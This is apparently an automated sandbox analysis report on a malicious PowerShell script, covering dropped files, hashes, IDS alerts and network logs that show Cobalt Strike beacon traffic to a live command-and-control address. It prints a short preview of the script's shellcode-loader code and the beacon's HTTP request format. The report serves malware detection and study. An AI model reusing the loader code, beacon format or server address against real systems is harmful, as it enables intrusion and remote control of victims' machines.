Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562630
Start date and time:	2024-11-25 19:57:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@2/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 7 Number of non-executed functions: 151
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240s for powershell

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: 3.ps1

Simulations

Behavior and APIs

Time	Type	Description
13:57:59	API Interceptor	52x Sleep call for process: powershell.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://myworkspaceb7705.myclickfunnels.com/ville-de-rouyn-noranda	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	13.35.58.62
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.238.49.74
	https://clickme.thryv.com/ls/click?upn=u001.dxrPihnXBHUGsddmpkmwUOT9H2uuoftUJgS1ImyDp5PjZ7uor3Bx5LY8846lufrxOd-2B-2FCl5NSKC1v9uXskdIrA-3D-3DPV4X_Uxfyb-2FV90WCSGuHCd77YDe2QH-2FfxD2e5Op8ULStuWwSYUM08QLuqWk0rbdQO8p2GP5XR1Nwn9dFZi5DaOMyz92mdTvaHywQzrJIxcHTOEjrrUNll1a6cdLHKylkZo7LdScnRC-2F7iC6hnMEdduqsWXASxbd-2BZeaoWZvCDaIudlukgt9S3uZsKQeBP86XSjGCyt8CMjRvxL6j1Dyr0eym46qao7knFO6iIo9LZAeoxbyu5E6pzhyc9-2F2VP-2BlZM3Ea-2B-2FiBNpyPNxcoMEQ2om5Ig-2F7RZ8WTAt-2F5MxtsslPlJve5tzpsISP74pi-2B8USUpl-2BAaEmzHGUoeKWRMyxJH35FiSw-3D-3D	Get hash	malicious	Unknown	Browse	3.160.188.112
	W9UAjNR4L6.exe	Get hash	malicious	Njrat	Browse	18.197.239.5
	AccountDocuments - christinal.docx	Get hash	malicious	Unknown	Browse	13.227.8.48
	https://protection.cloze.email/r/EKJc7NAc1aGPd0140vt6MnJzYkpI4pQCyldpUEBtdFT8T8dhNmmHodcXxvKddJW4AhfqaDIQj32BX0HxSGbmPeDqDQs/n/SlBNQ05FV1NMRVRURVI/y52l9ppb.r.ap-northeast-1.awstrack.me/L0/https:%2F%2Fcloudprotectionc5f91e84a2b3d9e748f2a1d9b7e5f0c4a2b3d9e7a5pages.dynamixs.workers.dev%2F/1/010601933048cf65-492c630f-d6b3-471e-a31f-bf186231f1e8-000000/SL9CcqykWh2mQIC7eGiOMwzMSpk=185	Get hash	malicious	Unknown	Browse	35.79.77.164
	https://eastmancuts.jimdosite.com/	Get hash	malicious	Unknown	Browse	54.171.97.194
	https://www.google.com/url?q=https://clickme.thryv.com/ls/click?upn%3Du001.3HlspJ5fg-2BP4CQkV7GSVhvWTpgC6w0k7sA8b2Z9JBYU9BEMXtqHWLHW9PPcpforJszQ3_jzclrAiO28PBUU1ZLf2yC1YJEF5Rt8zDnz4yKbEuFqXf3c0fVOhzL2fXxOYix3CjCrzlLwoIPSXb9PavK50mtpdK-2FWF7thydb3q6E5ptEQiOVUz527Ewi1t813S-2FHejAJLe09fD2VqgM8mtwuQZA9i83VLkCPF4iItCSPXKUpNgWQKWxjEO6jlBp5GYVLghrpKcDuea5GONmLMVlbh4fQe7dtjhTFxxxExxfN1kv5tnx1PPl9DjYIyE468wz1qa1Z-2FWJgZrJbIFEpqhd4o5tGGyUoiPcIot5l2j9dpjy7QKj99ZiCz-2BBLi5dHUIl8gC4RxZBl-2FMaH4IZlQyWpqM-2BtZ9uE3ezFUl2fORMwAp4lQk-3D%23Cjanetrosenbach@imageindustries.com&source=gmail-imap&ust=1733149343000000&usg=AOvVaw1uIAp-JnZbTlkY9Td9ZLJj	Get hash	malicious	HTMLPhisher	Browse	3.160.188.6
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	3.160.188.18
	Annual_Q4_Benefits_&_Bonus_for_Ed.riley#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	HTMLPhisher	Browse	18.158.211.73

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5noeq2o4.gsw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ngfgu5wb.msr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7293891251548903
Encrypted:	false
SSDEEP:	48:t/QToHLPr3C4U28zLjgukvhkvklCywCmdk6nQiWl15SogZoJ6YE6nQiWl15SogZS:NPH33CxHH1kvhkvCCtfQiW4HsQiW4HS
MD5:	CB9A2F88C67847A9BB3EE74E9ACAF104
SHA1:	B30D79DC6C4C976A5569BAC01E6C34E6DA00F593
SHA-256:	2E80405AD6A171DABB4950964D748FD776863B5AAA87D30E211E44E6D6F3E166
SHA-512:	7CB9AAB4B795079FCA63DB53527422CEE7E121F468F30D3BFD1CC483125F3658CC076B3B0048FA88AEFFE374DDE8CD374A3D1839CAAE615D6D638124E4229139
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....L.}.k?..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....`...k?...k..k?......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^yY;............................%..A.p.p.D.a.t.a...B.V.1.....yY:...Roaming.@......CW.^yY:...........................#...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^yY=.....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WMNT3I4XNG9Y59JGGE9M.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7293891251548903
Encrypted:	false
SSDEEP:	48:t/QToHLPr3C4U28zLjgukvhkvklCywCmdk6nQiWl15SogZoJ6YE6nQiWl15SogZS:NPH33CxHH1kvhkvCCtfQiW4HsQiW4HS
MD5:	CB9A2F88C67847A9BB3EE74E9ACAF104
SHA1:	B30D79DC6C4C976A5569BAC01E6C34E6DA00F593
SHA-256:	2E80405AD6A171DABB4950964D748FD776863B5AAA87D30E211E44E6D6F3E166
SHA-512:	7CB9AAB4B795079FCA63DB53527422CEE7E121F468F30D3BFD1CC483125F3658CC076B3B0048FA88AEFFE374DDE8CD374A3D1839CAAE615D6D638124E4229139
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....L.}.k?..z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....`...k?...k..k?......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^yY;............................%..A.p.p.D.a.t.a...B.V.1.....yY:...Roaming.@......CW.^yY:...........................#...R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^DW.`..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWP`..Windows.@......CW.^DWP`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^yY=.....Q...........

Static File Info

General

File type:	ASCII text, with very long lines (12594), with CRLF line terminators
Entropy (8bit):	5.738857250711805
TrID:
File name:	3.ps1
File size:	412'061 bytes
MD5:	69c80576e5413dc4d0d60de98439f649
SHA1:	2fe44c3f073e661eb0cd6dd2c5890b067743ea5d
SHA256:	85856010d3e63101c30a3d061dd55c758350030dd9b14794044a479860abb37f
SHA512:	87db764a6217f3a2c6b999122b440cf8dfd5cdbb08ec13147cc2cf1549c18fc0c0afb52d5003313fe1c0d97fb3f7d4ca51062a8e8a37eab564c65c3abcfd211f
SSDEEP:	6144:tgCjcsHxN7zWkV4mne5klEz1/rxiAsmwAJhcEstTHo84ZbxGdnuFmlgC5fe5QLPO:tgC4sRNvW5Oe+cVroAsEJCE38QKOq7bu
TLSH:	C8947C473F59A9ADD612F122EA2EB0C235E4B52F94A58AC4B7F1D4F518F802134F43A7
File Content Preview:	Set-StrictMode -Version 2....function func_get_proc_address {...Param ($var_module, $var_procedure).....$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equal

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T19:57:52.370990+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50013	3.78.244.11	8080	TCP
2024-11-25T19:58:04.324931+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49730	3.78.244.11	8080	TCP
2024-11-25T19:58:26.502407+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49731	3.78.244.11	8080	TCP
2024-11-25T19:58:48.674634+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49738	3.78.244.11	8080	TCP
2024-11-25T19:59:10.821761+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49739	3.78.244.11	8080	TCP
2024-11-25T19:59:33.097220+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49767	3.78.244.11	8080	TCP
2024-11-25T19:59:55.285301+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49816	3.78.244.11	8080	TCP
2024-11-25T20:00:17.416993+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49864	3.78.244.11	8080	TCP
2024-11-25T20:00:39.636064+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49915	3.78.244.11	8080	TCP
2024-11-25T20:01:01.824176+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	49963	3.78.244.11	8080	TCP
2024-11-25T20:01:23.980870+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50011	3.78.244.11	8080	TCP
2024-11-25T20:01:46.137579+0100	2033713	ET MALWARE Cobalt Strike Beacon Observed	1	192.168.2.4	50012	3.78.244.11	8080	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 19:58:00.195401907 CET	49730	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:00.315545082 CET	8080	49730	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:00.315635920 CET	49730	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:00.315752983 CET	49730	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:00.436393023 CET	8080	49730	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:04.324930906 CET	49730	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:04.434247971 CET	49731	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:04.554316044 CET	8080	49731	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:04.554414034 CET	49731	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:04.554482937 CET	49731	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:04.675780058 CET	8080	49731	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:26.502276897 CET	8080	49731	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:26.502407074 CET	49731	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:26.502475023 CET	49731	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:26.605968952 CET	49738	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:26.622425079 CET	8080	49731	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:26.726027966 CET	8080	49738	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:26.726234913 CET	49738	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:26.726310968 CET	49738	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:26.847184896 CET	8080	49738	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:48.674527884 CET	8080	49738	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:48.674633980 CET	49738	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:48.674725056 CET	49738	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:48.778868914 CET	49739	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:48.795824051 CET	8080	49738	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:48.901276112 CET	8080	49739	3.78.244.11	192.168.2.4
Nov 25, 2024 19:58:48.901372910 CET	49739	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:48.901523113 CET	49739	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:58:49.021559954 CET	8080	49739	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:10.821686983 CET	8080	49739	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:10.821760893 CET	49739	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:10.891277075 CET	49739	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:10.997363091 CET	49767	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:11.017160892 CET	8080	49739	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:11.122184992 CET	8080	49767	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:11.122306108 CET	49767	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:11.122419119 CET	49767	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:11.242952108 CET	8080	49767	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:33.097146988 CET	8080	49767	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:33.097219944 CET	49767	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:33.097309113 CET	49767	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:33.199870110 CET	49816	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:33.220618010 CET	8080	49767	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:33.337953091 CET	8080	49816	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:33.338037968 CET	49816	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:33.338119030 CET	49816	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:33.510299921 CET	8080	49816	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:55.285233974 CET	8080	49816	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:55.285300970 CET	49816	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:55.285366058 CET	49816	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:55.388755083 CET	49864	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:55.409780979 CET	8080	49816	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:55.508778095 CET	8080	49864	3.78.244.11	192.168.2.4
Nov 25, 2024 19:59:55.508882046 CET	49864	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:55.509006023 CET	49864	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 19:59:55.629020929 CET	8080	49864	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:17.416872025 CET	8080	49864	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:17.416992903 CET	49864	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:17.483669043 CET	49864	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:17.594501019 CET	49915	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:17.606303930 CET	8080	49864	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:17.716789007 CET	8080	49915	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:17.716885090 CET	49915	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:17.716974974 CET	49915	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:17.837594986 CET	8080	49915	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:39.635977030 CET	8080	49915	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:39.636064053 CET	49915	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:39.636106014 CET	49915	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:39.746836901 CET	49963	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:39.756062984 CET	8080	49915	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:39.878683090 CET	8080	49963	3.78.244.11	192.168.2.4
Nov 25, 2024 20:00:39.878782034 CET	49963	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:39.878871918 CET	49963	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:00:40.005953074 CET	8080	49963	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:01.824094057 CET	8080	49963	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:01.824176073 CET	49963	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:01.824234009 CET	49963	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:01.935704947 CET	50011	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:01.944303989 CET	8080	49963	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:02.055871010 CET	8080	50011	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:02.056109905 CET	50011	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:02.056224108 CET	50011	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:02.178056955 CET	8080	50011	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:23.980669022 CET	8080	50011	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:23.980870008 CET	50011	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:23.981081009 CET	50011	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:24.090967894 CET	50012	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:24.107604980 CET	8080	50011	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:24.216047049 CET	8080	50012	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:24.216146946 CET	50012	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:24.216264963 CET	50012	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:24.336365938 CET	8080	50012	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:46.137490034 CET	8080	50012	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:46.137578964 CET	50012	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:46.137643099 CET	50012	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:46.247189045 CET	50013	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:46.257819891 CET	8080	50012	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:46.369203091 CET	8080	50013	3.78.244.11	192.168.2.4
Nov 25, 2024 20:01:46.369317055 CET	50013	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:46.369400978 CET	50013	8080	192.168.2.4	3.78.244.11
Nov 25, 2024 20:01:46.492402077 CET	8080	50013	3.78.244.11	192.168.2.4

HTTP Request Dependency Graph

3.78.244.11:8080

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:58:00.315752983 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:58:04.554482937 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:58:26.726310968 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:58:48.901523113 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49767	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 19:59:11.122419119 CET	382	OUT	GET /dot.gif HTTP/1.1 Accept: / Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Host: 3.78.244.11:8080 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49816	3.78.244.11	8080	1900	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
